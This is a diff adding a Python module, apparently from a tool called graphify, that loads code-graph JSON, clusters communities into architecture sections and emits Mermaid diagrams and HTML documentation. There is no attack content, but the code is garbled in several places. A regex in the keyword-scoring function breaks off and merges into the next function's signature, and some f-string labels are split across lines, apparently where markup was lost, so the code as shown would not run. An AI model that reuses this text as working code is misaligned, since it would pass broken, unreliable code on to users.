display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8rem; font-weight: 600; } +.tag-async { background: #7c3aed33; color: #a78bfa; } +.tag-class { background: #05966933; color: var(--ok); } +.tag-func { background: #2563eb33; color: var(--accent); } +.tag-cmd { background: #d9770633; color: var(--warn); } +.tag-endpoint { background: #dc262633; color: var(--err); } +.tag-hook { background: #db277733; color: #f472b6; } +.card { background: var(--surface); border: 1px solid var(--border); border-radius: 10px; padding: 20px; margin: 16px 0; } +.grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(340px, 1fr)); gap: 16px; margin: 16px 0; } +.arrow-chain { font-family: 'Fira Code', monospace; font-size: 0.85rem; color: var(--accent); padding: 10px; background: rgba(56,189,248,0.06); border-radius: 6px; } +code { font-family: 'Fira Code', 'Cascadia Code', monospace; background: rgba(255,255,255,0.06); padding: 1px 6px; border-radius: 3px; font-size: 0.88em; } +ul, ol { margin: 8px 0 8px 24px; color: var(--muted); } +li { margin: 4px 0; } +a { color: var(--accent); } +hr { border: none; border-top: 1px solid var(--border); margin: 40px 0; } +.nav { position: sticky; top: 0; background: var(--bg); z-index: 10; padding: 12px 0; border-bottom: 1px solid var(--border); display: flex; gap: 20px; flex-wrap: wrap; font-size: 0.9rem; } +.nav a { text-decoration: none; } +.nav a:hover { text-decoration: underline; } +@media (max-width: 768px) { .container { padding: 16px; } h1 { font-size: 1.8rem; } } +""" + + +# ────────────────────────────────────────────── +# 2. Data loading and normalization helpers +# ────────────────────────────────────────────── + +def read_json(path: str | Path, default=None): + """Read JSON with a useful error message.""" + if not path: + return default + path = Path(path) + if not path.exists(): + return default + try: + return json.loads(path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise SystemExit(f"ERROR: invalid JSON in {path}: {exc}") from exc + + +def first_present(mapping: dict, *keys, default=None): + """Return the first non-empty value for any candidate key.""" + for key in keys: + if key in mapping and mapping[key] not in (None, ""): + return mapping[key] + return default + + +def first_list(*values) -> list: + """Return the first list from a set of possible schema locations.""" + for value in values: + if isinstance(value, list): + return value + return [] + + +def to_float(value, default: float = 0.0) -> float: + """Convert graph numeric fields that may be serialized as strings.""" + try: + return float(value) + except (TypeError, ValueError): + return default + + +def endpoint_id(value) -> str: + """Normalize edge endpoints that may be strings or node-like objects.""" + if isinstance(value, dict): + value = first_present(value, "id", "node_id", "key", "name", "qualified_name") + return str(value or "") + + +def normalize_node(raw: dict, index: int) -> dict: + """Normalize a graphify node across common graph.json schema variants.""" + node = dict(raw) + node_id = first_present( + node, + "id", + "node_id", + "key", + "uid", + "name", + "qualified_name", + "fqname", + "symbol", + default=f"node_{index + 1}", + ) + source_file = first_present( + node, + "source_file", + "file", + "file_path", + "filepath", + "path", + "module_path", + "defined_in", + default="", + ) + label = first_present( + node, + "label", + "display_name", + "title", + "name", + "qualified_name", + "fqname", + "symbol", + default=node_id, + ) + community = first_present( + node, + "community", + "community_id", + "cluster", + "cluster_id", + "group", + "group_id", + "modularity_class", + default="unknown", + ) + node_type = first_present(node, "node_type", "kind", "type", "category", default="") + file_type = first_present(node, "file_type", "content_type", "artifact_type", default="") + if not file_type: + suffix = Path(str(source_file)).suffix.lower() + file_type = "document" if suffix in {".md", ".mdx", ".rst", ".txt"} else "code" + + node["id"] = str(node_id) + node["label"] = str(label) + node["community"] = community + node["source_file"] = str(source_file or "") + node["node_type"] = str(node_type or "") + node["file_type"] = str(file_type or "code") + return node + + +def normalize_edge(raw: dict, index: int) -> dict | None: + """Normalize graphify edges while preserving original fields.""" + edge = dict(raw) + source = endpoint_id(first_present(edge, "source", "src", "from", "from_id", "start", "u")) + target = endpoint_id(first_present(edge, "target", "dst", "to", "to_id", "end", "v")) + if not source or not target: + return None + + relation = first_present(edge, "relation", "type", "kind", "label", "predicate", default="relates") + confidence = first_present(edge, "confidence", "evidence", "provenance", default="EXTRACTED") + score = first_present(edge, "confidence_score", "score", "weight", "probability", default=1.0) + + edge["id"] = str(first_present(edge, "id", "edge_id", default=f"edge_{index + 1}")) + edge["source"] = source + edge["target"] = target + edge["relation"] = str(relation or "relates").lower() + edge["confidence"] = str(confidence or "EXTRACTED").upper() + edge["confidence_score"] = to_float(score, 1.0) + return edge + + +def _node_link_payload(data: dict) -> tuple[list, list] | None: + """Read current graphify graph.json via NetworkX's node-link parser.""" + if not isinstance(data.get("nodes"), list): + return None + if not isinstance(data.get("links"), list) and not isinstance(data.get("edges"), list): + return None + + try: + from networkx.readwrite import json_graph + + try: + graph = json_graph.node_link_graph(data, edges="links") + except TypeError: + graph = json_graph.node_link_graph(data) + except Exception: + return None + + nodes = [] + for node_id, attrs in graph.nodes(data=True): + node = dict(attrs) + node["id"] = node_id + nodes.append(node) + + edges = [] + for index, (source, target, attrs) in enumerate(graph.edges(data=True), 1): + edge = dict(attrs) + edge["source"] = edge.get("_src", edge.get("source", source)) + edge["target"] = edge.get("_tgt", edge.get("target", target)) + edge.setdefault("id", f"edge_{index}") + edges.append(edge) + return nodes, edges + + +def load_graph(path: str | Path) -> tuple: + """Load graph.json. Returns normalized (nodes, edges, hyperedges, metadata).""" + if path: + from graphify.security import check_graph_file_size_cap + try: + check_graph_file_size_cap(Path(path)) + except ValueError as exc: + raise SystemExit(f"ERROR: {exc}") from exc + data = read_json(path) + if not isinstance(data, dict): + raise SystemExit(f"ERROR: graph file must contain a JSON object: {path}") + + graph_block = data.get("graph") if isinstance(data.get("graph"), dict) else {} + meta_block = data.get("metadata") if isinstance(data.get("metadata"), dict) else {} + + node_link = _node_link_payload(data) + if node_link: + raw_nodes, raw_edges = node_link + else: + raw_nodes = first_list(data.get("nodes"), data.get("vertices"), graph_block.get("nodes"), graph_block.get("vertices")) + raw_edges = first_list(data.get("links"), data.get("edges"), graph_block.get("links"), graph_block.get("edges")) + hyperedges = first_list(data.get("hyperedges"), graph_block.get("hyperedges"), data.get("groups"), graph_block.get("groups")) + + nodes = [normalize_node(n, i) for i, n in enumerate(raw_nodes) if isinstance(n, dict)] + edges = [] + for i, raw_edge in enumerate(raw_edges): + if not isinstance(raw_edge, dict): + continue + edge = normalize_edge(raw_edge, i) + if edge: + edges.append(edge) + + meta = dict(graph_block) + meta.update(meta_block) + for key in ("built_at_commit", "commit", "project_name", "repo", "repository", "language_breakdown"): + if data.get(key) and not meta.get(key): + meta[key] = data.get(key) + if meta.get("commit") and not meta.get("built_at_commit"): + meta["built_at_commit"] = meta["commit"] + + return nodes, edges, hyperedges, meta + + +def load_labels(path: str | Path | None) -> dict: + """Load community labels from .graphify_labels.json, tolerating wrapper keys.""" + data = read_json(path, default={}) + if not isinstance(data, dict): + return {} + if isinstance(data.get("labels"), dict): + data = data["labels"] + if isinstance(data.get("communities"), dict): + data = data["communities"] + labels = {} + for key, value in data.items(): + if isinstance(value, dict): + value = first_present(value, "label", "name", "title", default=key) + labels[str(key)] = str(value) + return labels + + +def load_sections(path: str | Path | None) -> list: + """Load section definitions from JSON file.""" + data = read_json(path, default=[]) + if isinstance(data, dict) and isinstance(data.get("sections"), list): + data = data["sections"] + if not isinstance(data, list): + raise SystemExit(f"ERROR: sections file must contain a JSON array: {path}") + return data + + +def load_report(path: str | Path | None) -> str: + """Load GRAPH_REPORT.md if it exists.""" + if path and os.path.exists(path): + return Path(path).read_text(encoding="utf-8") + return "" + + +# ────────────────────────────────────────────── +# 3. Mermaid-safe label helpers +# ────────────────────────────────────────────── + +def safe_mermaid_text(text: str) -> str: + """Sanitize text for use inside a Mermaid node label. + + Replaces characters that Mermaid interprets as syntax: + - -> (edge arrow) -> text + - # (comment) -> removed + - {} (shape syntax) -> removed + - backticks -> removed + - " -> ' + - HTML metacharacters -> entities + """ + text = str(text or "") + text = text.replace('"', "'") + text = text.replace('`', '') + text = text.replace('#', '') + text = text.replace('|', ' ') + text = text.replace('{', '').replace('}', '') + text = text.replace("->>", " to ").replace("-->", " to ").replace("->", " to ") + text = " ".join(text.split()) + return escape(text, quote=False) + + +def html_comment_text(text: str) -> str: + """Keep generated HTML comments well-formed.""" + return str(text or "").replace("--", "- -").replace("\n", " ") + + +def stable_ascii_id(raw: str, prefix: str = "node", limit: int = 48) -> str: + """Build a Mermaid-safe ASCII identifier with a hash suffix to avoid collisions.""" + raw = str(raw or "") + digest = hashlib.sha1(raw.encode("utf-8"), usedforsecurity=False).hexdigest()[:8] + slug = re.sub(r"[^A-Za-z0-9_]+", "_", raw) + slug = re.sub(r"_+", "_", slug).strip("_") + if not slug: + slug = prefix + if slug[0].isdigit(): + slug = f"{prefix}_{slug}" + return f"{slug[:limit].rstrip('_')}_{digest}" + + +def node_mermaid_id(node: dict) -> str: + """Generate a safe Mermaid node ID from a graph node. + + Mermaid IDs must match [a-zA-Z][a-zA-Z0-9_]* — no dots, hyphens, slashes. + """ + return stable_ascii_id(node.get("id", "unknown"), "node") + + +def mermaid_section_id(section_id: str) -> str: + """Convert a section ID (like 'cli-entry') to a safe Mermaid ID (like 'CLI_ENTRY').""" + return stable_ascii_id(section_id, "section").upper() + + +def safe_file_path(path: str) -> str: + """Return a short, safe display path.""" + # Truncate long paths for display + parts = path.split("/") + if len(parts) > 3: + return "/".join(parts[-3:]) + return path + + +def safe_filename(text: str, fallback: str = "project") -> str: + """Create a conservative filename stem from a project name.""" + stem = re.sub(r"[^A-Za-z0-9._-]+", "-", str(text or "")).strip("-._") + return stem or fallback + + +def infer_project_name(graph_path: str, meta: dict) -> str: + """Infer a display project name when graph metadata does not include one.""" + if meta.get("project_name"): + return meta["project_name"] + path = Path(graph_path).resolve() + if path.parent.name == "graphify-out" and len(path.parents) > 1: + return path.parents[1].name + return path.parent.name or "Project" + + +def resolve_graphify_paths(args) -> dict: + """Resolve project root, graphify output dir, and optional files.""" + base = Path(args.project).expanduser() if args.project else Path.cwd() + if args.graphify_out: + graphify_out = Path(args.graphify_out).expanduser() + elif args.graph: + graphify_out = Path(args.graph).expanduser().parent + elif (base / "graph.json").exists(): + graphify_out = base + else: + graphify_out = base / "graphify-out" + + project_root = graphify_out.parent if graphify_out.name == "graphify-out" else base + graph = Path(args.graph).expanduser() if args.graph else graphify_out / "graph.json" + report = Path(args.report).expanduser() if args.report else graphify_out / "GRAPH_REPORT.md" + labels = Path(args.labels).expanduser() if args.labels else graphify_out / ".graphify_labels.json" + sections = Path(args.sections).expanduser() if args.sections else None + return { + "base": project_root, + "graphify_out": graphify_out, + "graph": graph, + "report": report, + "labels": labels, + "sections": sections, + } + + +def is_zh(lang: str) -> bool: + """Return true when localized strings should be Chinese.""" + return (lang or "").lower().startswith("zh") + + +def pick_text(lang: str, zh: str, en: str) -> str: + """Small localization helper for generated copy.""" + return zh if is_zh(lang) else en + + +def detect_lang(lang: str, nodes: list, labels: dict) -> str: + """Resolve auto language from labels and node names.""" + if lang and lang.lower() != "auto": + return lang + sample = " ".join( + list(labels.values())[:50] + + [str(n.get("label", "")) for n in nodes[:200]] + + [str(n.get("source_file", "")) for n in nodes[:100]] + ) + return "zh-CN" if re.search(r"[\u4e00-\u9fff]", sample) else "en" + + +def truncate_text(text: str, limit: int) -> str: + """Truncate without splitting Mermaid syntax.""" + text = " ".join(str(text or "").split()) + if len(text) <= limit: + return text + return text[: max(0, limit - 3)].rstrip() + "..." + + +def humanize_label(label: str, source_file: str = "") -> str: + """Convert graph labels into short labels people can scan in a diagram.""" + label = str(label or "").strip() + if not label: + return Path(source_file).name if source_file else "Unknown" + if label.startswith(".") and label.endswith("()"): + return label[1:] + if label.endswith((".py", ".ts", ".tsx", ".js", ".jsx", ".go", ".rs", ".java", ".rb")): + return Path(label).name + if "_" in label and " " not in label and len(label) > 28: + parts = [p for p in label.split("_") if p] + if parts: + label = " ".join(parts[-3:]) + return truncate_text(label, 42) + + +def node_kind(node: dict) -> str: + """Classify a graph node for Mermaid styling and table tags.""" + label = str(node.get("label") or node.get("id") or "").lower() + source_file = str(node.get("source_file") or "").lower() + file_type = str(node.get("file_type") or "").lower() + node_type = str(node.get("node_type") or "").lower() + if node_type in {"class", "klass", "struct", "interface", "enum", "trait", "model"}: + return "klass" + if node_type in {"module", "file", "package", "namespace"}: + return "module" + if node_type in {"endpoint", "route", "api", "handler", "controller"}: + return "api" + if node_type in {"test", "spec"}: + return "test" + if node_type in {"component", "hook", "view", "page"}: + return "ui" + if file_type in {"rationale", "document"}: + return "concept" + if "test" in source_file or label.startswith("test_") or "spec" in source_file: + return "test" + if any(word in label for word in ("endpoint", "router", "api", "route")): + return "api" + if any(word in label for word in ("cli", "command", "click", "typer")): + return "entry" + if any(word in label for word in ("async", "await", "stream", "sse")): + return "async" + raw_label = str(node.get("label") or "") + hook_like = raw_label.startswith("use") and len(raw_label) > 3 and (raw_label[3].isupper() or raw_label[3] in "_-") + if any(word in label for word in ("component", "props", "hook", "store")) or hook_like or source_file.endswith((".tsx", ".jsx", ".vue", ".svelte")): + return "ui" + raw = raw_label + if raw[:1].isupper() and not raw.endswith("()"): + return "klass" + if raw.endswith((".py", ".ts", ".tsx", ".js", ".jsx", ".go", ".rs", ".java", ".kt", ".rb", ".php", ".cs", ".swift", ".vue", ".svelte")): + return "module" + return "function" + + +def relation_label(relation: str, lang: str) -> str: + """Map graph edge relation names to short diagram labels.""" + relation = str(relation or "").strip() + zh = { + "calls": "调用", + "uses": "使用", + "imports": "导入", + "imports_from": "导入", + "method": "方法", + "contains": "包含", + "rationale_for": "说明", + "conceptually_related_to": "相关", + "participate_in": "参与", + "form": "组成", + } + en = { + "calls": "calls", + "uses": "uses", + "imports": "imports", + "imports_from": "imports", + "method": "method", + "contains": "contains", + "rationale_for": "explains", + "conceptually_related_to": "relates", + "participate_in": "joins", + "form": "forms", + } + mapped = (zh if is_zh(lang) else en).get(relation, relation.replace("_", " ")) + return safe_mermaid_text(mapped) + + +def preferred_edges(edges: list, allow_structure: bool = False) -> list: + """Filter to edges that make a readable call-flow diagram.""" + primary = {"calls", "uses", "method", "imports", "imports_from"} + secondary = {"contains", "rationale_for", "conceptually_related_to"} + selected = [] + for edge in edges: + if not should_include_edge(edge): + continue + relation = edge.get("relation", "") + if relation in primary or (allow_structure and relation in secondary): + selected.append(edge) + if selected: + return selected + return [edge for edge in edges if should_include_edge(edge)] + + +def edge_score(edge: dict) -> float: + """Rank edges by confidence and usefulness for diagrams.""" + relation = edge.get("relation", "") + score = to_float(edge.get("confidence_score", 1.0), 1.0) + if str(edge.get("confidence", "")).upper() == "EXTRACTED": + score += 2.0 + if relation in {"calls", "uses", "method"}: + score += 1.0 + elif relation in {"imports", "imports_from"}: + score += 0.6 + elif relation == "contains": + score -= 0.2 + elif relation == "rationale_for": + score -= 0.6 + return score + + +def mermaid_init(scale: float, direction: str = "LR") -> str: + """Return a Mermaid init directive that scales diagrams using Mermaid config.""" + scale = max(0.65, min(float(scale or 1.0), 1.8)) + config = { + "theme": "dark", + "themeVariables": { + "fontSize": f"{round(15 * scale, 1)}px", + "fontFamily": "Segoe UI, system-ui, sans-serif", + "primaryColor": "#1e293b", + "primaryTextColor": "#e2e8f0", + "primaryBorderColor": "#38bdf8", + "secondaryColor": "#0f172a", + "tertiaryColor": "#334155", + "lineColor": "#64748b", + "textColor": "#e2e8f0", + }, + "flowchart": { + "htmlLabels": True, + "curve": "basis", + "nodeSpacing": round(48 * scale), + "rankSpacing": round(64 * scale), + "padding": round(14 * scale), + "diagramPadding": round(10 * scale), + "useMaxWidth": True, + }, + } + return f"%%{{init: {json.dumps(config, ensure_ascii=False)}}}%%\nflowchart {direction}" + + +def mermaid_class_defs() -> list: + """Shared Mermaid-native styles for readable diagrams.""" + return [ + " classDef entry fill:#422006,stroke:#fbbf24,color:#fde68a,stroke-width:1px;", + " classDef api fill:#450a0a,stroke:#f87171,color:#fee2e2,stroke-width:1px;", + " classDef async fill:#2e1065,stroke:#a78bfa,color:#ede9fe,stroke-width:1px;", + " classDef klass fill:#064e3b,stroke:#34d399,color:#d1fae5,stroke-width:1px;", + " classDef ui fill:#831843,stroke:#f472b6,color:#fce7f3,stroke-width:1px;", + " classDef module fill:#172554,stroke:#60a5fa,color:#dbeafe,stroke-width:1px;", + " classDef test fill:#3f3f46,stroke:#a1a1aa,color:#f4f4f5,stroke-width:1px;", + " classDef concept fill:#292524,stroke:#a8a29e,color:#fafaf9,stroke-dasharray:4 3;", + " classDef function fill:#0f172a,stroke:#38bdf8,color:#e0f2fe,stroke-width:1px;", + ] + + +# ────────────────────────────────────────────── +# 4. Community and section indexing +# ────────────────────────────────────────────── + +def build_community_index(nodes: list) -> dict: + """Map community_id (str) -> list of nodes.""" + idx = defaultdict(list) + for n in nodes: + cid = str(n.get("community", "unknown")) + idx[cid].append(n) + return idx + + +def html_anchor_id(raw: str, fallback: str, used: set) -> str: + """Generate a stable, unique HTML anchor ID.""" + raw = str(raw or fallback or "") + base = re.sub(r"[^a-z0-9]+", "-", raw.lower()).strip("-") + if not base: + base = re.sub(r"[^a-z0-9]+", "-", str(fallback or "section").lower()).strip("-") + if not base: + base = "section" + base = base[:48].strip("-") or "section" + candidate = base + if candidate in used: + candidate = f"{base}-{hashlib.sha1(raw.encode('utf-8'), usedforsecurity=False).hexdigest()[:6]}" + suffix = 2 + while candidate in used: + candidate = f"{base}-{suffix}" + suffix += 1 + used.add(candidate) + return candidate + + +def normalize_communities(value) -> list: + """Normalize section community lists from JSON or simple strings.""" + if isinstance(value, list): + return value + if value in (None, ""): + return [] + if isinstance(value, str): + return [part.strip() for part in value.split(",") if part.strip()] + return [value] + + +def normalize_sections(sections: list, lang: str) -> list: + """Ensure sections have safe unique IDs and an overview section first.""" + overview_name = pick_text(lang, "架构总览", "Architecture Overview") + normalized = [{"id": "overview", "name": overview_name, "communities": []}] + used = {"overview", "hyperedges", "stats"} + + for index, raw in enumerate(sections or [], 1): + if not isinstance(raw, dict): + continue + raw_id = str(raw.get("id") or raw.get("key") or raw.get("name") or f"section-{index}") + raw_name = str(raw.get("name") or raw.get("label") or raw_id) + if raw_id.lower() == "overview": + normalized[0]["name"] = raw_name or overview_name + continue + + sid = html_anchor_id(raw_id, f"section-{index}", used) + normalized.append({ + "id": sid, + "name": raw_name, + "communities": normalize_communities(raw.get("communities", raw.get("community"))), + }) + return normalized + + +def label_for_community(cid: str, labels: dict, nodes: list, lang: str) -> str: + """Choose a readable section name for a community.""" + if str(cid) in labels and labels[str(cid)]: + return labels[str(cid)] + keywords = section_keywords(nodes, 3) + if keywords: + return " ".join(word.title() for word in keywords[:3]) + return pick_text(lang, f"社区 {cid}", f"Community {cid}") + + +SECTION_ARCHETYPES = [ + ( + "extract-pipeline", + "提取管线", + "Extraction Pipeline", + { + "extract", "extractor", "tree", "sitter", "parser", "language", + "python", "javascript", "typescript", "rust", "java", "go", + "ast", "calls", "imports", "multilang", + }, + ), + ( + "build-graph", + "图谱构建", + "Graph Build", + { + "build", "graph", "merge", "dedup", "node", "edge", "hyperedge", + "json", "schema", "normalize", "confidence", + }, + ), + ( + "analysis-clustering", + "分析聚类", + "Analysis & Clustering", + { + "cluster", "community", "leiden", "cohesion", "analyze", "god", + "surprise", "question", "query", "path", "explain", "benchmark", + }, + ), + ( + "outputs-docs", + "输出文档", + "Outputs & Docs", + { + "export", "html", "wiki", "obsidian", "canvas", "svg", "graphml", + "report", "callflow", "mermaid", "tree", "documentation", + }, + ), + ( + "cli-skills", + "CLI 与技能安装", + "CLI & Skill Installers", + { + "main", "install", "uninstall", "skill", "agent", "claude", + "codex", "opencode", "aider", "copilot", "kiro", "vscode", + "hook", "command", + }, + ), + ( + "ingest-cache-update", + "摄取与增量更新", + "Ingestion & Updates", + { + "ingest", "fetch", "download", "url", "html", "markdown", + "cache", "manifest", "watch", "update", "incremental", + "transcribe", "video", "audio", "google", + }, + ), + ( + "serve-api", + "服务 API", + "Serving API", + { + "serve", "api", "request", "response", "endpoint", "router", + "handle", "upload", "search", "delete", "enrich", + }, + ), + ( + "security-global", + "安全与全局图", + "Security & Global Graph", + { + "security", "safe", "ssrf", "xss", "path", "traversal", + "global", "prefix", "prune", "repo", "clone", + }, + ), + ( + "tests-fixtures", + "测试与样例", + "Tests & Fixtures", + { + "test", "tests", "fixture", "fixtures", "sample", "assert", + "pytest", "mock", + }, + ), +] + + +def _community_text(nodes: list, label: str = "") -> str: + parts = [label] + for node in nodes[:80]: + parts.append(str(node.get("label", ""))) + parts.append(str(node.get("source_file", ""))) + parts.append(str(node.get("node_type", ""))) + parts.append(str(node.get("file_type", ""))) + return " ".join(parts).lower() + + +def _keyword_score(text: str, keywords: set[str]) -> int: + score = 0 + for keyword in keywords: + score += len(re.findall(rf"(? tuple[list, list]: + """Return selected grouped sections and overflow communities.""" + ranked = sorted( + grouped.values(), + key=lambda sec: (sec["priority"], -sec["node_count"], sec["id"]), + ) + cap = max(1, int(max_sections or 15)) + selected = ranked[:cap] + overflow = ranked[cap:] + overflow_communities = [] + for sec in overflow: + overflow_communities.extend(sec["communities"]) + return selected, overflow_communities + + +def derive_sections_from_communities(nodes: list, labels: dict, lang: str, max_sections: int) -> list: + """Derive architecture-oriented sections when no sections JSON is supplied.""" + comm_idx = build_community_index(nodes) + sections = [{"id": "overview", "name": pick_text(lang, "架构总览", "Architecture Overview"), "communities": []}] + grouped = {} + unassigned = [] + + for cid, community_nodes in sorted(comm_idx.items(), key=lambda item: (-len(item[1]), str(item[0]))): + label = label_for_community(cid, labels, community_nodes, lang) + text = _community_text(community_nodes, label) + best = None + best_score = 0 + for priority, (sid, zh_name, en_name, keywords) in enumerate(SECTION_ARCHETYPES): + score = _keyword_score(text, keywords) + if score > best_score: + best = (priority, sid, zh_name, en_name) + best_score = score + + if best and best_score >= 2: + priority, sid, zh_name, en_name = best + sec = grouped.setdefault( + sid, + { + "id": sid, + "name": pick_text(lang, zh_name, en_name), + "communities": [], + "node_count": 0, + "priority": priority, + }, + ) + sec["communities"].append(cid) + sec["node_count"] += len(community_nodes) + else: + unassigned.append((cid, community_nodes, label)) + + selected, overflow_communities = _rank_grouped_sections(grouped, max(1, int(max_sections or 15)) - 1) + sections.extend( + {"id": sec["id"], "name": sec["name"], "communities": sec["communities"]} + for sec in selected + ) + + remaining_slots = max(0, int(max_sections or 15) - (len(sections) - 1) - 1) + for cid, community_nodes, label in unassigned[:remaining_slots]: + sections.append({"id": str(label or f"community-{cid}"), "name": label, "communities": [cid]}) + + other_communities = overflow_communities + [cid for cid, _, _ in unassigned[remaining_slots:]] + if other_communities: + sections.append({ + "id": "other", + "name": pick_text(lang, "其他", "Other"), + "communities": other_communities, + }) + return sections + + +def build_section_node_map(sections: list, comm_idx: dict) -> dict: + """Map section_id -> list of nodes belonging to its communities.""" + section_nodes = {} + for sec in sections: + sid = sec["id"] + if sid == "overview": + section_nodes[sid] = [] + continue + nodes = [] + for cid in sec.get("communities", []): + nodes.extend(comm_idx.get(str(cid), [])) + section_nodes[sid] = nodes + return section_nodes + + +def node_in_section(node_id: str, section_node_ids: set) -> bool: + """Check if a node belongs to a section.""" + return node_id in section_node_ids + + +# ────────────────────────────────────────────── +# 5. Edge analysis +# ────────────────────────────────────────────── + +def classify_edges(edges: list, section_nodes_map: dict) -> dict: + """Classify edges as intra-section or inter-section. + + Returns: + { + "intra": {section_id: [edges]}, + "inter": [edges], + "orphan": [edges] # one endpoint not in any section + } + """ + # Build node -> section lookup + node_section = {} + for sid, nodes in section_nodes_map.items(): + for n in nodes: + node_section[n.get("id")] = sid + + intra = defaultdict(list) + inter = [] + orphan = [] + + for e in edges: + src = e.get("source", "") + tgt = e.get("target", "") + src_sec = node_section.get(src) + tgt_sec = node_section.get(tgt) + + if src_sec is None or tgt_sec is None: + orphan.append(e) + elif src_sec == tgt_sec: + intra[src_sec].append(e) + else: + inter.append(e) + + return {"intra": dict(intra), "inter": inter, "orphan": orphan, "node_section": node_section} + + +def should_include_edge(edge: dict) -> bool: + """Decide whether to auto-include an edge in Mermaid output.""" + conf = str(edge.get("confidence", "EXTRACTED")).upper() + score = to_float(edge.get("confidence_score", 1.0), 1.0) + + if conf == "EXTRACTED": + return True + if conf == "INFERRED" and score >= 0.85: + return True + # Low-confidence INFERRED or AMBIGUOUS: comment out for LLM review + return False + + +# ────────────────────────────────────────────── +# 6. Mermaid diagram generators +# ────────────────────────────────────────────── + +def node_degree_scores(edges: list) -> Counter: + """Score nodes by useful edge participation.""" + scores = Counter() + for edge in edges: + score = edge_score(edge) + scores[edge.get("source", "")] += score + scores[edge.get("target", "")] += score + return scores + + +def node_importance(node: dict) -> float: + """Use graphify centrality fields when available.""" + for key in ("pagerank", "page_rank", "pageRank", "rank", "centrality", "score"): + if key in node: + return to_float(node.get(key), 0.0) + return 0.0 + + +def select_diagram_nodes(nodes: list, edges: list, max_nodes: int) -> list: + """Select a compact, connected subset of nodes for readable diagrams.""" + node_by_id = {n.get("id"): n for n in nodes} + usable_edges = preferred_edges(edges, allow_structure=False) + if not usable_edges: + usable_edges = preferred_edges(edges, allow_structure=True) + scores = node_degree_scores(usable_edges) + outgoing = Counter(edge.get("source", "") for edge in usable_edges) + incoming = Counter(edge.get("target", "") for edge in usable_edges) + selected = [] + seen = set() + + def add_node(nid: str) -> bool: + node = node_by_id.get(nid) + if not node or nid in seen: + return False + kind = node_kind(node) + if kind == "concept" and len(selected) >= max(4, max_nodes // 3): + return False + selected.append(node) + seen.add(nid) + return len(selected) >= max_nodes + + # Start with likely entry points: nodes that call out more than they are called. + entry_candidates = sorted( + node_by_id, + key=lambda nid: (-(outgoing[nid] - incoming[nid]), -outgoing[nid], str(nid)), + ) + for nid in entry_candidates[: max(3, max_nodes // 3)]: + if outgoing[nid] > 0 and add_node(nid): + return selected + + # Then pull in the most useful neighbors from the strongest edges. + for edge in sorted(usable_edges, key=edge_score, reverse=True): + for nid in (edge.get("source"), edge.get("target")): + if add_node(nid): + return selected + + def fallback_key(node: dict) -> tuple: + nid = node.get("id", "") + kind_penalty = 1 if node_kind(node) == "concept" else 0 + return ( + kind_penalty, + -scores.get(nid, 0), + -node_importance(node), + safe_file_path(node.get("source_file", "")), + humanize_label(node.get("label", nid)), + ) + + for node in sorted(nodes, key=fallback_key): + nid = node.get("id") + if nid not in seen: + selected.append(node) + seen.add(nid) + if len(selected) >= max_nodes: + break + return selected + + +def node_label(node: dict) -> str: + """Build a readable Mermaid node label.""" + label = humanize_label(node.get("label") or node.get("id"), node.get("source_file", "")) + source_file = safe_file_path(node.get("source_file", "")) + if source_file and not label.endswith(Path(source_file).name): + return f"{safe_mermaid_text(label)}
    {safe_mermaid_text(source_file)}" + return safe_mermaid_text(label) + + +def group_nodes_by_file(nodes: list) -> dict: + """Group selected nodes by source file for Mermaid subgraphs.""" + groups = defaultdict(list) + for node in nodes: + source_file = safe_file_path(node.get("source_file", "")) or "External / generated" + groups[source_file].append(node) + return dict(sorted(groups.items(), key=lambda item: (-len(item[1]), item[0]))) + + +def section_edge_summary(classified_edges: dict) -> dict: + """Aggregate inter-section edge counts and relation names.""" + node_section = classified_edges.get("node_section", {}) + summary = defaultdict(lambda: {"count": 0, "relations": Counter()}) + for edge in classified_edges.get("inter", []): + if not should_include_edge(edge): + continue + src_sec = node_section.get(edge.get("source")) + tgt_sec = node_section.get(edge.get("target")) + if not src_sec or not tgt_sec or src_sec == tgt_sec: + continue + key = (src_sec, tgt_sec) + summary[key]["count"] += 1 + summary[key]["relations"][edge.get("relation", "relates")] += 1 + return summary + + +def generate_overview_graph(sections: list, section_nodes_map: dict, + classified_edges: dict, labels: dict, lang: str, + diagram_scale: float) -> str: + """Generate a readable section-level architecture overview.""" + lines = [mermaid_init(diagram_scale, "LR")] + section_defs = [sec for sec in sections if sec["id"] != "overview"] + + for sec in section_defs: + sid = mermaid_section_id(sec["id"]) + node_count = len(section_nodes_map.get(sec["id"], [])) + label = ( + f"{safe_mermaid_text(sec.get('name', sec['id']))}" + f"
    {node_count} {safe_mermaid_text('nodes')}" + ) + lines.append(f' {sid}("{label}")') + lines.append(f" class {sid} module;") + + aggregated = section_edge_summary(classified_edges) + for (src, tgt), data in sorted(aggregated.items(), key=lambda item: item[1]["count"], reverse=True)[:12]: + src_id = mermaid_section_id(src) + tgt_id = mermaid_section_id(tgt) + relation, _ = data["relations"].most_common(1)[0] + label = relation_label(relation, lang) + if data["count"] > 1: + label = f"{label} x{data['count']}" + lines.append(f" {src_id} -->|{label}| {tgt_id}") + + if not aggregated and len(section_defs) > 1: + for prev, cur in zip(section_defs, section_defs[1:]): + lines.append(f" {mermaid_section_id(prev['id'])} -.-> {mermaid_section_id(cur['id'])}") + + lines.extend(mermaid_class_defs()) + return "\n".join(lines) + + +def generate_section_flowchart(section_id: str, section_name: str, + nodes: list, edges: list, lang: str, + diagram_scale: float, max_nodes: int, + max_edges: int) -> str: + """Generate a compact, human-readable call-flow chart for a section.""" + lines = [mermaid_init(diagram_scale, "LR")] + lines.append(f" %% Section: {safe_mermaid_text(section_name)} ({len(nodes)} nodes, {len(edges)} edges)") + + if not nodes: + empty_label = pick_text(lang, f"{section_name} - 无节点", f"{section_name} - no nodes") + lines.append(f' empty("{safe_mermaid_text(empty_label)}")') + lines.extend(mermaid_class_defs()) + return "\n".join(lines) + + selected_nodes = select_diagram_nodes(nodes, edges, max_nodes) + selected_ids = {node.get("id") for node in selected_nodes} + visible_edges = [ + edge for edge in preferred_edges(edges, allow_structure=False) + if edge.get("source") in selected_ids and edge.get("target") in selected_ids + ] + if not visible_edges: + visible_edges = [ + edge for edge in preferred_edges(edges, allow_structure=True) + if edge.get("source") in selected_ids and edge.get("target") in selected_ids + ] + + groups = group_nodes_by_file(selected_nodes) + class_lines = [] + for source_file, group in groups.items(): + group_id = node_mermaid_id({"id": f"{section_id}_{source_file}"}) + if len(groups) > 1 and len(group) > 1: + lines.append(f' subgraph 